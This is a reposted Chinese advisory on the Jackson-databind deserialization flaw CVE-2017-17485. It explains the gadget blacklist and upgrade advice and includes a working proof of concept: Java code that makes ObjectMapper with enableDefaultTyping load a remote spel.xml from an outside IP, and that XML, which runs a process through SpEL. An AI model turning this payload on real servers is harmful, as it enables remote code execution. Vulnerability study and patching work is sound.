Jackson反序列化远程代码执行漏洞

栏目: Java · 发布时间: 8年前

内容简介:Jackson反序列化远程代码执行漏洞

北京时间2017年4月15日,Jackson框架被发现存在一个反序列化代码执行漏洞。该漏洞存在于Jackson框架下的enableDefaultTyping方法,通过该漏洞,攻击者可以远程在服务器主机上越权执行任意代码,从而取得该网站服务器的控制权。

Jackson是一个开源的 Java 序列化与反序列化工具,可以将java对象序列化为xml或json格式的字符串,或者反序列化回对应的对象,由于其使用简单,速度较快,且不依靠除JDK外的其他库,被众多用户所使用。

关于历史漏洞的分析可以参考,绿盟科技在17年发表的技术分析文章: http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/

漏洞触发链

getOutputProperties()->newTransFormer()→newInstance()

构造方式

通过java生态中的第三方库存在的序列化方法构造序列化恶意攻击代码,并将恶意代码base64编码后拼接到一个精心构造的json数据包中,代码层如果在使用ObjectMapper对象实例时

(ObjectMapper mapper = new ObjectMapper();)开启了enableDefaultType特性(例如mapper.enableDefaultTyping();),会在readValue时对传入的JSON自动调用第三方库的反序列化方法,造成代码执行。

官方修复方式

官方在漏洞产生后,通过黑名单的方式禁止黑名单中的第三方库因为反序列化问题而产生的代码执行漏洞。

黑名单如下:

org.apache.commons.collections.functors.InvokerTransformer
org.apache.commons.collections.functors.InstantiateTransformer
org.apache.commons.collections4.functors.InvokerTransformer
org.apache.commons.collections4.functors.InstantiateTransformer
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.MethodClosure
org.springframework.beans.factory.ObjectFactory
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

新漏洞的产生(CVE-2017-17485)

众所周知黑名单是一种不可靠的修复方式,攻击者常常可以通过一些手段绕过黑名单,造成漏洞影响。

安全研究人员发现,在开启enableDefaultTyping()的前提下可以通过Jackson-databind来滥用Spring spel来执行任意命令。

POC

关于Jackson-databind漏洞所有的poc验证代码: https://github.com/shengqi158/Jackson-databind-RCE-PoC Code by 廖新喜

其中CVE-2017-17485的验证代码:

package jackson;
 
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;
import java.lang.reflect.Array;
 
/**
 * Created by liaoxinxi on 2017-12-11.
 */
 
public class TestJdbcRowSetImplPoc {
    public static void main(String args[]){
        testSpringFramework();
    }
 
    public static void testSpringFramework(){
        //CVE-2017-17485
        // 假设这是攻击者可以控制的请求包payload
        String payload = "[\"org.springframework.context.support.ClassPathXmlApplicationContext\", " +
                "\"http://188.51.32.233/spel.xml\"]\n";
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        try {
            mapper.readValue(payload, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

spel.xml文件内容:

<beans xmlns="http://www.springframework.org/schema/beans"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="
     http://www.springframework.org/schema/beans
     http://www.springframework.org/schema/beans/spring-beans.xsd
">
  <bean id="pb" class="java.lang.ProcessBuilder">
     <constructor-arg value="/Applications/Calculator.app/Contents/MacOS/Calculator" />
     <property name="whatever" value="#{ pb.start() }"/>
  </bean>
</beans>

造成代码执行:

Jackson反序列化远程代码执行漏洞

官方已经更新黑名单列表,并计划在Jackson的大版本3.X通过api层实现基于白名单的序列化方式来应对多态类:

org.apache.commons.collections.functors.InvokerTransformer
org.apache.commons.collections.functors.InstantiateTransformer
org.apache.commons.collections4.functors.InvokerTransformer
org.apache.commons.collections4.functors.InstantiateTransformer
org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.MethodClosure
org.springframework.beans.factory.ObjectFactory
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
org.apache.xalan.xsltc.trax.TemplatesImpl
com.sun.rowset.JdbcRowSetImpl
java.util.logging.FileHandler
java.rmi.server.UnicastRemoteObject
org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor
org.springframework.beans.factory.config.PropertyPathFactoryBean
com.mchange.v2.c3p0.JndiRefForwardingDataSource
com.mchange.v2.c3p0.WrapperConnectionPoolDataSource

修复建议

  • 升级到最新版本jackson-databind 2.7.9.2,2.8.11,2.9.3.1(2018-01-13 00:04:20该版本还未发布)
  • 禁用enableDefaultTyping()方法;
  • 对客户端传入的JSON数据,进行过滤或者类型检查。

参考链接


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

活着就为改变世界

活着就为改变世界

[美] 杰弗里·扬、威廉·西蒙 / 蒋永军 / 中信出版社 / 2010-6 / 39.00元

内容简介 苹果公司CEO史蒂夫•乔布斯这个一直活在自己想象的世界里的创业奇才,经历过各种挫折与失落,但他那无所畏惧、敢于承担的个性让他一直努力实践着自己的价值观,总能为他的离奇想法找到解决问题的办法。 本书两位作者通过深入访谈和资料调查,揭秘了许多乔布斯个人的创业经历和家庭变故,为大家塑造了一个活生生的“乔布斯式”的鲜活人物,描述了一个个充满传奇色彩的商业奇迹,真实地再现了乔布斯几十年......一起来看看 《活着就为改变世界》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器